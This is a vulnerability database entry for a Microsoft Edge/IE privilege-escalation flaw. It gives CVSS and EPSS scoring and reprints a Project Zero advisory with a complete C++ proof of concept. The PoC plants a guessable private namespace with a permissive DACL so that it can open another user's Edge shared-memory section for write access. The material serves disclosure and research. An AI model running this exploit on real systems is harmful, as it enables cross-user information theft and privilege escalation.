Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-264 |
Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.0 |
7.5 |
HIGH |
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 40607
Publication date : 2016-10-19 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=878
Windows: Edge/IE Isolated Private Namespace Insecure Boundary Descriptor EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege
Summary:
The isolated private namespace created by ierutils has an insecure Boundary Descriptor which allows any non-appcontainer sandbox process (such as chrome) or other users on the same system to gain elevated permissions on the namespace directory which could lead to elevation of privilege.
Description:
In iertutils library IsoOpenPrivateNamespace creates a new Window private namespace (which is an isolated object directory which can be referred to using a boundary descriptor). The function in most cases first calls OpenPrivateNamespace before falling back to CreatePrivateNamespace. The boundary descriptor used for this operation only has an easily guessable name, so it’s possible for another application to create the namespace prior to Edge/IE starting, ensuring the directory and other object’s created underneath are accessible.
In order to attack this the Edge/IE process has to have not been started yet. This might be the case if trying to exploit from another sandbox application or from another user. The per-user namespace IEUser_USERSID_MicrosoftEdge is trivially guessable, however the IsoScope relies on the PID of the process. However there’s no limit on the number of private namespaces a process can register (seems to just be based on resource consumption limits). I’ve easily created 100,000 with different names before I gave up, so it would be trivial to plant the namespace name for any new Edge process, set the DACL as appropriate and wait for the user to login.
Also note on IE that the Isolated Scope namespace seems to be created before opened which would preclude this attack on that type, but it would still be exploitable on the per-user one.
Doing this would result in any new object in the isolated namespace being created by Edge or IE being accessible to the attacker. I’ve not spent much time actually working out what is or isn’t exploitable but at the least you’d get some level of information disclosure and no doubt some potential for EoP.
Proof of Concept:
I’ve provided a PoC as a C++ source code file. You need to compile it first targeted with Visual Studio 2015. It will create the user namespace.
1) Compile the C++ source code file.
2) Execute the PoC as another different user to the current one on the same system, this using runas. Pass the name of the user to spoof on the command line.
3) Start a copy of Edge
4) The PoC should print that it’s found and accessed the !PrivacIE!SharedMem!Settings section from the new Edge process.
Expected Result:
Planting the private namespace is not allowed.
Observed Result:
Access to the private namespace is granted and the DACL of the directory is set set to a list of inherited permissions which will be used for new objects.
*/
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>
#include <sddl.h>
#include <memory>
#include <string>
#include <TlHelp32.h>
#include <strstream>
#include <sstream>
typedef NTSTATUS(WINAPI* NtCreateLowBoxToken)(
OUT PHANDLE token,
IN HANDLE original_handle,
IN ACCESS_MASK access,
IN POBJECT_ATTRIBUTES object_attribute,
IN PSID appcontainer_sid,
IN DWORD capabilityCount,
IN PSID_AND_ATTRIBUTES capabilities,
IN DWORD handle_count,
IN PHANDLE handles);
struct HandleDeleter
{
typedef HANDLE pointer;
void operator()(HANDLE handle)
{
if (handle && handle != INVALID_HANDLE_VALUE)
{
DWORD last_error = ::GetLastError();
CloseHandle(handle);
::SetLastError(last_error);
}
}
};
typedef std::unique_ptr<HANDLE, HandleDeleter> scoped_handle;
struct LocalFreeDeleter
{
typedef void* pointer;
void operator()(void* p)
{
if (p)
::LocalFree(p);
}
};
typedef std::unique_ptr<void, LocalFreeDeleter> local_free_ptr;
struct PrivateNamespaceDeleter
{
typedef HANDLE pointer;
void operator()(HANDLE handle)
{
if (handle && handle != INVALID_HANDLE_VALUE)
{
::ClosePrivateNamespace(handle, 0);
}
}
};
struct scoped_impersonation
{
BOOL _impersonating;
public:
scoped_impersonation(const scoped_handle& token) {
_impersonating = ImpersonateLoggedOnUser(token.get());
}
scoped_impersonation() {
if (_impersonating)
RevertToSelf();
}
BOOL impersonation() {
return _impersonating;
}
};
typedef std::unique_ptr<HANDLE, PrivateNamespaceDeleter> private_namespace;
std::wstring GetCurrentUserSid()
{
HANDLE token = nullptr;
if (!OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
return false;
std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);
DWORD size = sizeof(TOKEN_USER) + SECURITY_MAX_SID_SIZE;
std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
TOKEN_USER* user = reinterpret_cast<TOKEN_USER*>(user_bytes.get());
if (!::GetTokenInformation(token, TokenUser, user, size, &size))
return false;
if (!user->User.Sid)
return false;
LPWSTR sid_name;
if (!ConvertSidToStringSid(user->User.Sid, &sid_name))
return false;
std::wstring ret = sid_name;
::LocalFree(sid_name);
return ret;
}
std::wstring GetCurrentLogonSid()
{
HANDLE token = NULL;
if (!::OpenProcessToken(::GetCurrentProcess(), TOKEN_QUERY, &token))
return false;
std::unique_ptr<HANDLE, HandleDeleter> token_scoped(token);
DWORD size = sizeof(TOKEN_GROUPS) + SECURITY_MAX_SID_SIZE;
std::unique_ptr<BYTE[]> user_bytes(new BYTE[size]);
TOKEN_GROUPS* groups = reinterpret_cast<TOKEN_GROUPS*>(user_bytes.get());
memset(user_bytes.get(), 0, size);
if (!::GetTokenInformation(token, TokenLogonSid, groups, size, &size))
return false;
if (groups->GroupCount != 1)
return false;
LPWSTR sid_name;
if (!ConvertSidToStringSid(groups->Groups[0].Sid, &sid_name))
return false;
std::wstring ret = sid_name;
::LocalFree(sid_name);
return ret;
}
class BoundaryDescriptor
{
public:
BoundaryDescriptor()
: boundary_desc_(nullptr) {
}
~BoundaryDescriptor() {
if (boundary_desc_) {
DeleteBoundaryDescriptor(boundary_desc_);
}
}
bool Initialize(const wchar_t* name) {
boundary_desc_ = ::CreateBoundaryDescriptorW(name, 0);
if (!boundary_desc_)
return false;
return true;
}
bool AddSid(LPCWSTR sid_str)
{
if (_wcsicmp(sid_str, L"CU") == 0)
{
return AddSid(GetCurrentUserSid().c_str());
}
else
{
PSID p = nullptr;
if (!::ConvertStringSidToSid(sid_str, &p))
{
return false;
}
std::unique_ptr<void, LocalFreeDeleter> buf(p);
SID_IDENTIFIER_AUTHORITY il_id_auth = { { 0,0,0,0,0,0x10 } };
PSID_IDENTIFIER_AUTHORITY sid_id_auth = GetSidIdentifierAuthority(p);
if (memcmp(il_id_auth.Value, sid_id_auth->Value, sizeof(il_id_auth.Value)) == 0)
{
return !!AddIntegrityLabelToBoundaryDescriptor(&boundary_desc_, p);
}
else
{
return !!AddSIDToBoundaryDescriptor(&boundary_desc_, p);
}
}
}
HANDLE boundry_desc() {
return boundary_desc_;
}
private:
HANDLE boundary_desc_;
};
scoped_handle CreateLowboxToken()
{
PSID package_sid_p;
if (!ConvertStringSidToSid(L"S-1-15-2-1-1-1-1-1-1-1-1-1-1-1", &package_sid_p))
{
printf("[ERROR] creating SID: %d\n", GetLastError());
return nullptr;
}
local_free_ptr package_sid(package_sid_p);
HANDLE process_token_h;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &process_token_h))
{
printf("[ERROR] error opening process token SID: %d\n", GetLastError());
return nullptr;
}
scoped_handle process_token(process_token_h);
NtCreateLowBoxToken fNtCreateLowBoxToken = (NtCreateLowBoxToken)GetProcAddress(GetModuleHandle(L"ntdll"), "NtCreateLowBoxToken");
HANDLE lowbox_token_h;
OBJECT_ATTRIBUTES obja = {};
obja.Length = sizeof(obja);
NTSTATUS status = fNtCreateLowBoxToken(&lowbox_token_h, process_token_h, TOKEN_ALL_ACCESS, &obja, package_sid_p, 0, nullptr, 0, nullptr);
if (status != 0)
{
printf("[ERROR] creating lowbox token: %08X\n", status);
return nullptr;
}
scoped_handle lowbox_token(lowbox_token_h);
HANDLE imp_token;
if (!DuplicateTokenEx(lowbox_token_h, TOKEN_ALL_ACCESS, nullptr, SecurityImpersonation, TokenImpersonation, &imp_token))
{
printf("[ERROR] duplicating lowbox: %d\n", GetLastError());
return nullptr;
}
return scoped_handle(imp_token);
}
DWORD FindMicrosoftEdgeExe()
{
scoped_handle th_snapshot(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0));
if (!th_snapshot)
{
printf("[ERROR] getting snapshot: %d\n", GetLastError());
return 0;
}
PROCESSENTRY32 proc_entry = {};
proc_entry.dwSize = sizeof(proc_entry);
if (!Process32First(th_snapshot.get(), &proc_entry))
{
printf("[ERROR] enumerating snapshot: %d\n", GetLastError());
return 0;
}
do
{
if (_wcsicmp(proc_entry.szExeFile, L"microsoftedge.exe") == 0)
{
return proc_entry.th32ProcessID;
}
proc_entry.dwSize = sizeof(proc_entry);
} while (Process32Next(th_snapshot.get(), &proc_entry));
return 0;
}
void CreateNamespaceForUser(LPCWSTR account_name)
{
BYTE sid_bytes[MAX_SID_SIZE];
WCHAR domain[256];
SID_NAME_USE name_use;
DWORD sid_size = MAX_SID_SIZE;
DWORD domain_size = _countof(domain);
if (!LookupAccountName(nullptr, account_name, (PSID)sid_bytes, &sid_size, domain, &domain_size, &name_use))
{
printf("[ERROR] getting SId for account %ls: %d\n", account_name, GetLastError());
return;
}
LPWSTR sid_str;
ConvertSidToStringSid((PSID)sid_bytes, &sid_str);
std::wstring boundary_name = L"IEUser_";
boundary_name += sid_str;
boundary_name += L"_MicrosoftEdge";
BoundaryDescriptor boundry;
if (!boundry.Initialize(boundary_name.c_str()))
{
printf("[ERROR] initializing boundary descriptor: %d\n", GetLastError());
return;
}
PSECURITY_DESCRIPTOR psd;
ULONG sd_size = 0;
std::wstring sddl = L"D:(A;OICI;GA;;;WD)(A;OICI;GA;;;AC)(A;OICI;GA;;;WD)(A;OICI;GA;;;S-1-0-0)";
sddl += L"(A;OICI;GA;;;" + GetCurrentUserSid() + L")";
sddl += L"(A;OICI;GA;;;" + GetCurrentLogonSid() + L")";
sddl += L"S:(ML;OICI;NW;;;S-1-16-0)";
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(sddl.c_str(), SDDL_REVISION_1, &psd, &sd_size))
{
printf("[ERROR] converting SDDL: %d\n", GetLastError());
return;
}
std::unique_ptr<void, LocalFreeDeleter> sd_buf(psd);
SECURITY_ATTRIBUTES secattr = {};
secattr.nLength = sizeof(secattr);
secattr.lpSecurityDescriptor = psd;
private_namespace ns(CreatePrivateNamespace(&secattr, boundry.boundry_desc(), boundary_name.c_str()));
if (!ns)
{
printf("[ERROR] creating private namespace - %ls: %d\n", boundary_name.c_str(), GetLastError());
return;
}
printf("[SUCCESS] Created Namespace %ls, start Edge as other user\n", boundary_name.c_str());
std::wstring section_name = boundary_name + L"\\!PrivacIE!SharedMem!Settings";
while (true)
{
HANDLE hMapping = OpenFileMapping(FILE_MAP_READ | FILE_MAP_WRITE, FALSE, section_name.c_str());
if (hMapping)
{
printf("[SUCCESS] Opened other user's !PrivacIE!SharedMem!Settings section for write access\n");
return;
}
Sleep(1000);
}
}
int wmain(int argc, wchar_t** argv)
{
if (argc < 2)
{
printf("PoC username to access\n");
return 1;
}
CreateNamespaceForUser(argv[1]);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Edge >> Version -
Microsoft>>Internet_explorer >> Version 10
Microsoft>>Internet_explorer >> Version 11
References
